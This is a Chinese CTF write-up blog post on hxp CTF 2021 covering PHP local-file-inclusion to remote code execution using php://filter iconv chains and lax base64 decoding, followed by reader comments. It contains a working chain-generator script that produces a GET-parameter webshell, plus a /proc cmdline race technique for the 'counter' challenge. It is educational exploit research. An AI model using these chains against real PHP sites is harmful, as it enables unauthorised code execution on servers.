hxp CTF 2021 - The End Of LFI?

Zedd 2022-01-05 10:14:00

0x00 TL;DR

在 PHP 中,我们可以利用 PHP Base64 Filter 宽松的解析,通过 iconv filter 等编码组合构造出特定的 PHP 代码进而完成无需临时文件的 RCE 。

第一部分介绍利用背景以及原理,第二部分简单介绍 Fuzz 编码规则的原理,第三部分介绍相关的 CTF 题目。
这里先贴一下作者的 exp 地址,以示尊重:Solving "includer's revenge" from hxp ctf 2021 without controlling any files

0x01 Back To LFI

原本以为上次通过 POST 过大的 Body 正文让 Nginx 产生 Tmp 进而配合多重链接绕过 PHP 包含限制完成 RCE 已经是非常绝妙的了,但是利用点可能也相对局限,毕竟只验证了 Nginx ,可能换到其他服务器就不行了。

但是,众所周知,LFI 是本地文件包含漏洞,突出一个文件,但是在 PHP 当中就比较的特殊了,我们可以通过 PHP Filter 来对文件进行一些简单的操作,例如比如 p 牛在 2016 年玩的令人印象深刻的利用的使用 Filter 技巧绕过死亡 exit 的操作:谈一谈php://filter的妙用 (完了,都 2022 年了,我还在学 P 牛 2016 年的老东西)。

我们可以简单回顾一下。

PHP Base64 filter

在 p 牛绕过死亡 exit 的文章(为了行文方便,下文以“ p 文”代称这篇文章)里面,我们可以知道,对于 PHP Base64 Filter 来说,会忽略掉非正常编码的字符,比如 p 文中就利用 PHP Filter Base64 可以去掉一些特殊字符:

所以,当$content被加上了<?php exit; ?>以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。

回到 PHP Base64 ,那什么是合法字符呢?

合法字符只有A-Za-z0-9\/\=\+,其他字符会自动被忽略,那么包括不可见字符、控制字符什么的吗?

简单做个验证:

<?php
$a = "\x1bY\xffQ\xfa";              //YQ 为 a 的 base64 编码
var_dump(base64_decode($a));

// string(1) "a"

我们可以看到,PHP 在处理 Base64 字符串的时候完全忽略了非法字符,并且成功解码了。

好,让我们开始试一试吧!尝试 RCE 一句话 include 吧?!

TTT0r8.jpg

Iconv LFI

接下来,我们这里再回顾一下 LFI ,由于 PHP Filter 的存在,我们可以利用一些操作简单处理一下对文件的编码格式等,举一个简单的例子,如果我们有一个文件内容为 <?php phpinfo(); 的 Base64 编码内容,当我们尝试 include 的时候就可以执行成功了:

include "php://filter/convert.base64-decode/resource=./e";

// the content of e: PD9waHAgcGhwaW5mbygpOw==
// base64 code of `<?php phpinfo();` is: PD9waHAgcGhwaW5mbygpOw== (without the backquote)

所以,众所周知,include 函数实际包含的是 Base64 解码后的 PHP 代码。

那我们有没有办法通过编码形式,构造产生自己想要的内容呢?这里就提到了我们今天要介绍的技巧。

PHP Filter 当中有一种 convert.iconv 的 Filter ,可以用来将数据从字符集 A 转换为字符集 B ,其中这两个字符集可以从 iconv -l 获得,这个字符集比较长,不过也存在一些实际上是其他字符集的别名。

举个简单的例子:

<?php
$url = "php://filter/convert.iconv.UTF-8%2fUTF-7/resource=data:,some<>text";
echo file_get_contents($url);
// Output:
// some+ADwAPg-text

使用以上例子,我们可以通过 iconv 来将 UTF-8 字符集转换到 UTF-7 字符集。那么这个有什么用呢?

结合我们上述提到的编码、文件内容,我们是不是可以利用一些固定文件内容来产生 webshell 呢?

结合 PHP Base64 宽松性,即使我们使用其他字符编码产生了不可见字符,我们也可以利用 convert.base64-decode 来去掉非法字符,留下我们想要的字符。

所以我们先假设我们的文件内容为 14 个 a 字符,我们可以通过暴力遍历 iconv 支持的字符编码形式,看我们得到的结果,例如:

$url = "php://filter/";

$url .= "convert.iconv.UTF8.CSISO2022KR";

$url .= "/resource=data://,aaaaaaaaaaaaaa";     //我们这里简单使用 `data://` 来模拟文件内容读取。
var_dump(file_get_contents($url));

// hexdump:
// 00000000  73 74 72 69 6e 67 28 31  38 29 20 22 1b 24 29 43  |string(18) ".$)C|
// 00000010  61 61 61 61 61 61 61 61  61 61 61 61 61 61 22 0a  |aaaaaaaaaaaaaa".|

我们可以看到这个 UTF8.CSISO2022KR 编码形式,并且通过这个编码形式产生的字符串里面, C 字符前面的字符对于 PHP Base64 来说是非法字符,所以接下来我们只需要 base64-decode 一下就可以去掉不可见字符了,但是与此同时,我们的 C 字符也被 base64-decode 解码了,这时候我们需要再把解码结果使用一次 base64-encode 即可还原回来原来的 C 字符了。

$url = "php://filter/";
$url .= "convert.iconv.UTF8.CSISO2022KR";
$url .= "|convert.base64-decode";
$url .= "/resource=data://,aaaaaaaaaaaaaa";
var_dump(file_get_contents($url));

// hexdump
// 00000000  73 74 72 69 6e 67 28 31  31 29 20 22 09 a6 9a 69  |string(11) "...i|
// 00000010  a6 9a 69 a6 9a 69 a6 22  0a                       |..i..i.".|

$url = "php://filter/";
$url .= "convert.iconv.UTF8.CSISO2022KR";
$url .= "|convert.base64-decode|convert.base64-encode";
$url .= "/resource=data://,aaaaaaaaaaaaaa";
var_dump(file_get_contents($url));

// hexdump
// 00000000  73 74 72 69 6e 67 28 31  32 29 20 22 43 61 61 61  |string(12) "Caaa|
// 00000010  61 61 61 61 61 61 61 61  22 0a                    |aaaaaaaa".|

Craft Base64 Payload

那我们应该怎么构造需要的内容呢?因为 base64 编码合法字符里面并没有尖括号,所以我们不能通过以上方式直接产生 PHP 代码进行包含,但是我们可以通过以上技巧来产生一个 base64 字符串,最后再使用一次 base64 解码一次就可以了。

例如我们生成 PAaaaaa ,最后经过 base64 解码得到第一个字符为 < ,后续为其他不需要的字符(我们这里不需要的字符称为垃圾字符)的字符串。

所以我们接下来需要做的,就是利用以上技巧找到这么一类编码,可以只存在我们需要的构造一个 webshell 的 base64 字符串了。

我们先看作者使用的几个示例,例如字符 8 ,我们可以使用 convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2 来生成

$url = "php://filter/";
$url = $url."convert.iconv.UTF8.CSISO2022KR";
$url = $url."|convert.base64-decode|convert.base64-encode|";

$url .= "convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2";
// $url = $url."|convert.base64-decode|convert.base64-encode";

$url .= "/resource=data://,aaaaaaaaaaaaaa";
var_dump(file_get_contents($url));

// hexdump
// 00000000  73 74 72 69 6e 67 28 35  32 29 20 22 38 01 fe 00  |string(52) "8...|
// 00000010  43 00 00 00 61 00 00 00  61 00 00 00 61 00 00 00  |C...a...a...a...|
// 00000020  61 00 00 00 61 00 00 00  61 00 00 00 61 00 00 00  |a...a...a...a...|
// *
// 00000040  22 0a                                             |".|

// 起用了注释那一行后,即还原到 Base64 之后的 hexdump:
// 00000000  73 74 72 69 6e 67 28 31  32 29 20 22 38 43 61 61  |string(12) "8Caa|
// 00000010  61 61 61 61 61 61 61 61  22 0a                    |aaaaaaaa".|

我们可以通过这种形式来将前面部分的构造成我们所需要的 base64 字符串,最后 base64 解码即可成为我们想要的 PHP 代码了。

RCE

因为最终的 base64 字符串,是由 iconv 相对应的编码规则生成的,所以我们最好通过已有的编码规则来适当地匹配自己想要的 webshell ,比如

<?=`$_GET[0]`;;?>

以上 payload 的 base64 编码为 PD89YCRfR0VUWzBdYDs7Pz4= ,而如果只使用了一个分号,则编码结果为 PD89YCRfR0VUWzBdYDs/Pg== ,这里 7 可能相对于斜杠比较好找一些,也可能是 exp 作者没有 fuzz 或者找到斜杠的生成规则,所以作者这里使用了两个分号避开了最终 base64 编码中的斜杠。

根据以上规则,再将其反推回去即可,可以验证一下我们得到的结果:

<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4";
$conversions = array(
    'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C' => 'convert.iconv.UTF8.CSISO2022KR',
    '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);

$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
    $filters .= $conversions[$c] . "|";
    $filters .= "convert.base64-decode|";
    $filters .= "convert.base64-encode|";
    $filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";

// echo $final_payload;
var_dump(file_get_contents($final_payload));

// hexdump
// 00000000  73 74 72 69 6e 67 28 31  38 29 20 22 3c 3f 3d 60  |string(18) "<?=`|
// 00000010  24 5f 47 45 54 5b 30 5d  60 3b 3b 3f 3e 18 22 0a  |$_GET[0]`;;?>.".|

这里需要注意的地方是:

  • convert.iconv.UTF8.UTF7 将等号转换为字母。之所以使用这个的原因是 exp 作者遇到过有时候等号会让 convert.base64-decode 过滤器解析失败的情况,可以使用 iconv 从 UTF8 转换到 UTF7 ,会把字符串中的任何等号变成一些 base64 。但是实际测试貌似我遇到的情况并没有抛出 Error ,最差情况抛出了 warning 但不是特别影响,但是为了避免奇怪的错误,还是加上为好。
  • data://,后的数据是为了方便展示,需要补足一定的位数,当然如果使用 include 就不能用了,毕竟需要 RFI ,如果 RFI 选型能用,既然都是 RFI 了还整啥 LFI 呢2333

当然通过以上案例,我们可以知道对于这种方法来说,其实文件内容并不重要,但至少得有内容,而且一般读取有内容的文件并不是大问题,所以我们可以简单尝试利用 /etc/passwd:

1.png

完成 RCE

0x02 Fuzz

iconv Filter Chain

让我们再回过头来看,虽然这个做法比较的新颖,但是其实深入理解之后会发现,这个攻击技巧需要我们提前把所有单字符的编码形式给 fuzz 出来,而且 fuzz 的结果还要有一定的技巧性,并不是所有出现了合法字符的编码形式就是符合要求的。

在跟 @wupco 老师讨论后,我们要找的字符编码形式要求为( 假设我们要找的字符为 x ):

  • x 必须在最终生成的字符串的前端
  • 字符串前端的字符当中,最好的情况是允许存在仅且唯一一个 x 对于 PHP Base64 来说合法的字符。当然这里可以允许存在其他合法字符,但是对于 fuzz 来说通用性并不强,当确实没办法找到单个字符的时候可以使用多个字符来代替。

我们简单拿 8 这个字符的编码规则 (convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2) 举个例子:

$url = "php://filter/convert.iconv.UTF8.UTF7|";
$url .= "convert.iconv.UTF8.CSISO2022KR";
$url = $url."/resource=data://,aaaaaaaaaaaaaaaa";
var_dump(file_get_contents($url));

// hexdump
// 00000000  73 74 72 69 6e 67 28 32  30 29 20 22 1b 24 29 43  |string(20) ".$)C|
// 00000010  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  |aaaaaaaaaaaaaaaa|
// 00000020  22 0a                                             |".|

$url = "php://filter/convert.iconv.UTF8.UTF7|";
$url .= "convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16";
$url = $url."/resource=data://,aaaaaaaaaaaaaaaa";
var_dump(file_get_contents($url));

// hexdump
// 00000000  73 74 72 69 6e 67 28 33  34 29 20 22 ff fe 61 00  |string(34) "..a.|
// 00000010  61 00 61 00 61 00 61 00  61 00 61 00 61 00 61 00  |a.a.a.a.a.a.a.a.|
// 00000020  61 00 61 00 61 00 61 00  61 00 61 00 61 00 22 0a  |a.a.a.a.a.a.a.".|

$url = "php://filter/convert.iconv.UTF8.UTF7|";
$url .= "convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2";
$url = $url."/resource=data://,aaaaaaaaaaaaaaaa";
var_dump(file_get_contents($url));

// hexdump
// 00000000  73 74 72 69 6e 67 28 36  38 29 20 22 38 01 fe 00  |string(68) "8...|
// 00000010  61 00 00 00 61 00 00 00  61 00 00 00 61 00 00 00  |a...a...a...a...|
// *
// 00000050  22 0a                                             |".|

可以看到我们通过编码规则逐步拓展了原字符串的字节长度,在原字符串的前端生成了我们想要构造的字符,所以对于我们需要的编码规则条件来说,还需要拓展原字节长度,这也算是第一个条件的原理。

我们可以基于以上去做一些简单的 fuzz ,整个 fuzz 原理并不复杂,最后检查通过 Filter 规则生成的结果是否满足以上条件即可。这里可以参考一下 @wupco 老师的做法:PHP_INCLUDE_TO_SHELL_CHAR_DICT , @wupco 老师基本上把单字母数字集合都找到了

Garbage String

虽然我们知道只要编码规则用得好,其实文件内容是什么无关紧要,但是如果实在是找不到可用文件怎么办?

这里需要用到一个小技巧:作者发现,convert.iconv.UTF8.CSISO2022KR 总是会在字符串前面生成 \x1b$)C ,所以我们可以利用这个来产生足够的垃圾数据供我们构造 Payload ,以下用一个空文件生成一个 8 来测试:

$url = "php://filter/";

$url .= "convert.iconv.UTF8.CSISO2022KR|";
$url .= "convert.base64-encode|";
$url .= "convert.iconv.UTF8.UTF7|";

// 8
$url .= "convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2";
$url = $url."|convert.base64-decode|convert.base64-encode";

$url = $url."/resource=./e";
var_dump(file_get_contents($url));

// hexdump
// 00000000  73 74 72 69 6e 67 28 31  36 29 20 22 38 47 79 51  |string(16) "8GyQ|
// 00000010  70 51 77 2b 41 44 30 41  50 51 3d 3d 22 0a        |pQw+AD0APQ==".|

这样我们可以使用垃圾数据作为基础数据进行编码转换了。

虽然这个技巧其实不难想到,但是编码规则这方面确实会令人望而却步,基本令人觉得不可能,但是就是这么的 Tricky ,结合了一些编码技巧做到了这个技巧。

N1CTF-2020 Filter

虽然这个技巧最终是近期才落地,但其实这并不是第一次出现这个想法,比如 @wupco 老师在 n1ctf-2020 中所出的一个 Misc 题 filter ,也是基于此想法。这个题目要求选手 fuzz filter 将二进制文件转换成一个 webshell ,可以说是很符合整个 idea 了,可是这个题最终被非预期了2333,感兴趣的同学可以看看:https://github.com/Nu1LCTF/n1ctf-2020/tree/main/MISC/filters/WriteUp;当然还有 @wupco 老师当年解 orange 题目用的解法:https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/B1A2JIjjm?type=view

hxp CTF 2021 counter

同样的,在本次 hxp CTF 中 counter 的预期也是利用 php base64 的宽松性,但是相对于 Nginx Tmp LFI 以及本文介绍的 iconv LFI 来说都显得逊色一筹。但是既然也是利用了 PHP base64 的宽松性,我们也顺便稍微介绍一下。

<?php
$rmf = function($file){
    system('rm -f -- '.escapeshellarg($file));
};

$page = $_GET['page'] ?? 'default';
chdir('./data');

if(isset($_GET['reset']) && preg_match('/^[a-zA-Z0-9]+$/', $page) === 1) {
    $rmf($page);
}

file_put_contents($page, file_get_contents($page) + 1);
include_once($page);

题目代码如上,我们可以看到题目提供两个功能,一个是写文件包含功能,一个是重置功能。另外我们这里注意的是虽然貌似看起来可以写文件,但是实际上因为 +1 的存在, PHP 会将字符串转换为数字,即使能写入也只有数字。

按照预期来说,这么看起来是不是摸不着头脑?这里就需要用到一些技巧。

众所周知,/proc/x/cmdline是用来保存完整的进程启动命令:

/proc/[pid]/cmdline

This read-only file holds the complete command line forthe process, unless the process is a zombie. In the latter case, there is nothing in this file: that is, a read on this file will return 0 characters. The command-line arguments appear in this file as a set of strings separated by null bytes ('\0'), with a further null byte after the last string.

If, after an execve(2), the process modifies its argv strings, those changes will show up here. This is not the same thing as modifying the argv array.

Furthermore, a process may change the memory location that this file refers via prctl(2) operations such as PR_SET_MM_ARG_START.

Think of this file as the command line that the process wants you to see.

并且查阅手册我们还可以知道其格式会使用 \0 来作为分隔符。

看到这里,结合我们提到的 PHP Base64 Filter 的宽松性以及题目使用 system('rm -f -- '.escapeshellarg($file)); 删除文件,我们是不是可以联想到一起?

因为这里的 $file 变量是我们可控的,当 PHP 调用 system 的时候会启用一个新进程,而该进程的 cmdline 则正是由 rm -f -- 在 sh 中构成的符合 \0 格式标准的字符串;倘若我们传入一个 base64 字符串,就变成了我们上文所说的类似的 Base64 场景,只不过前面是垃圾字符,我们所需要的构造的字符串在后面。我们可以简单弄个 demo ,向一个 tmp 文件当中写入 cmdline 的内容,再使用 PHP Filter Base64 读出来:

$payload = base64_encode("<?php phpinfo(); ?>");
file_put_contents("./tmp", "sh\x00-c\x00rm\x00-f\x00--\x00'". $payload ."'");
echo file_get_contents("php://filter/read=convert.base64-decode/resource=./tmp");
// PHP Warning:  file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in /path/x.php on line 4

echo "\n";

$payload = 'ab'.base64_encode("<?php phpinfo(); ?>");
file_put_contents("./tmp", "sh\x00-c\x00rm\x00-f\x00--\x00'". $payload ."'");
echo file_get_contents("php://filter/read=convert.base64-decode/resource=./tmp");
// ???+???<?php phpinfo(); ?>

我们了解一下 Base64 编码规则,或者看看 p 文也知道,Base64 以 4 字节为一组,并且对于 PHP Filter Base64 来说,这里的 cmdline 合法字符只有 shcrmf , 总共 6 个字符,所以我们要补充为 4 的倍数,这里就补充两字节即可让 Base64 解码成功。

好了,既然我们知道最后去包含这个含有 Base64 字符串的 cmdline 就可以实现 PHP 代码执行了,但是如何知道 PID 呢?而且毕竟这个 rm 命令执行时间比较快,怎么去竞争包含呢?基本看起来就比较的离谱。

但是题目作者还是比较大心脏,翻阅手册,我们还可以看到:

/proc/sys/kernel/ns_last_pid (since Linux 3.3)

This file (which is virtualized per PID namespace) displays the last PID that was allocated in this PID namespace. When the next PID is allocated, the kernel will search for the lowest unallocated PID that is greaterthan this value, and when this file is subsequently read it will show that PID.

This file is writable by a process that has the CAP_SYS_ADMIN or (since Linux 5.9) CAP_CHECKPOINT_RESTORE capability inside the user namespace that owns the PID namespace. This makes it possible to determine the PID that is allocated to the next process that is created inside this PID namespace.

这个文件会记录最近一次进程使用的 PID ,所以如果我们触发了题目的删除功能,就会产生一个 rm 进程,这里就会记录这个 rm 的 PID 。

所以大概流程是:

  • 启动一个线程不断的发送请求让题目使用删除功能,让 PHP 启动进程,从而不断产生一个含有 base64 字符串的 cmdline 文件
  • 启动一个线程不断的发送请求让题目使用包含功能,根据 ns_last_pid 的值,通过一定猜测 pid 数目竞争,让 PHP 使用 Base64 Filter 竞争包含产生的 cmdline 完成 RCE

这里贴一下作者的预期脚本:https://pastebin.com/yr11z5h9 。使用作者脚本整体复现还是比较稳定的,但是由于这种方式比较的理论,实际上对于 PID 预测的关键比较复杂,更主要是跟前两种方法相比,这种方法瞬间黯然失色。

0x04 Conclusion

整个 iconv 的方法还是比较惊艳的,当我们还在执着临时文件的时候,有人已经 fuzz 完成了不需要临时文件的方法,非常敬佩作者对于该种方法的执着。虽然看起来上次我觉得已经是 LFI 的穷途末路了,对于 Nginx 的场景来说利用难度还是比较的低的,但是这一次又一次刷新了我对 LFI 的认知 orz ,以至于看起来是 The End Of LFI ,但是我还是想打上一个问号?说不定 PHP 也有类似 log4j 的玩意呢?

但是话又说回来,这种方式好玩归好玩,但是说到底还是 LFI ,而且个人感觉 PHP 已经没有 JAVA 那么值得研究了。所以,大家还是看一乐吧 hhhh

最后,还是得感谢一下 @wupco 老师的不吝赐教(orz

另外,祝大家新年快乐。上一篇 Nginx Tmp LFI 的文章传送门:https://tttang.com/archive/1384/ ;自己运营的「Funny Web CTF」星球传送门:https://t.zsxq.com/7y7iAuf

0x05 References

Solving "includer's revenge" from hxp ctf 2021 without controlling any files

谈一谈php://filter的妙用

libiconv

评论

Longlone 2022-01-05 11:06:54

师傅好,我在前几天已经关注这个方法构造webshell了,但是当我去实际测试某些ctf文件包含题(buuctf上找到的),尝试去使用此方法非预期时,我发现某些题目没有办法通过这种方式rce,最终包含结果是空的,您在实际测试中有遇到过这种问题吗?

Decade 2022-01-05 11:34:00

文件包含=RCE,So cooool

月石 2022-01-05 15:17:53

自己在本地测试了一下,感觉对字符集的要求有些苛刻?Ubuntu 18.04.4 运行的时候提示如下iconv字符集iconv.857.SHIFTJISX0213 没有,而windows尝试的时候好像CSISO2022KR都没找到【

Zedd 2022-01-05 22:51:13

@Longlone 可能系统没有 iconv 亦或者不支持对应的编码,我没有尝试过 buuctf 的题目;@月石,统一补充一下测试环境。
OS: Ubuntu Ubuntu 20.04.3 LTS
iconv version: iconv (Ubuntu GLIBC 2.31-0ubuntu9.4) 2.31

4

41ien 2022-01-18 10:08:59

师傅好,文章写的很好,受益匪浅,我有几个问题想请教一下
1. 您在 Garbage String 那说,“虽然我们知道只要编码规则用得好,其实文件内容是什么无关紧要”,经过我的测试,像 index.php 这种含有 php 代码的文件是不行的,并且,即使是可以利用的文件,文件内容的长度也得大于我们 base64_payload 的长度,不知道您的测试环境是否是这样
2. 还是在 Garbage String 那,一开始是我理解错了,我以为空文件就是不存在的文件都行,经过我的测试,这个空文件是必须得存在的,但用这种方法,文件内容的长度就无所谓了,但像 index.php 这种文件还是不行的
感谢 : )

Zedd 2022-01-20 01:05:09

@41ien
1. 测试可以的,因为经过编码处理后其实与内容无关,理论上内容是不是 php 代码也没有任何关系了。除非你 php 代码有一些 `\xfa` 啥的字符可能会导致某些编码失败
2.空文件必须存在。实际上我们是可以通过产生垃圾字符来代替空文件里面的内容进行编码转换的。
如图:
![](https://imgtu.com/i/7yum1P)

4

41ien 2022-01-21 15:10:57

我用的是 pikachu 靶场的文件,https://github.com/zhuifengshaonianhanlu/pikachu/blob/master/index.php

4

41ien 2022-01-22 16:12:56

我测出来了,是中文字符的问题 =_=

4

41ien 2022-01-23 15:36:23

打扰了,是我前面没加 convert.base64-encode 和 convert.UTF8.UTF7,加了就没问题了,我的锅 ORZ

Zedd

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

Exploit 文章:40 篇
Java安全 文章:34 篇
逻辑漏洞 文章:15 篇
事件分析 文章:223 篇
网络协议 文章:18 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

H

hgsmonkey

tql!!!

目录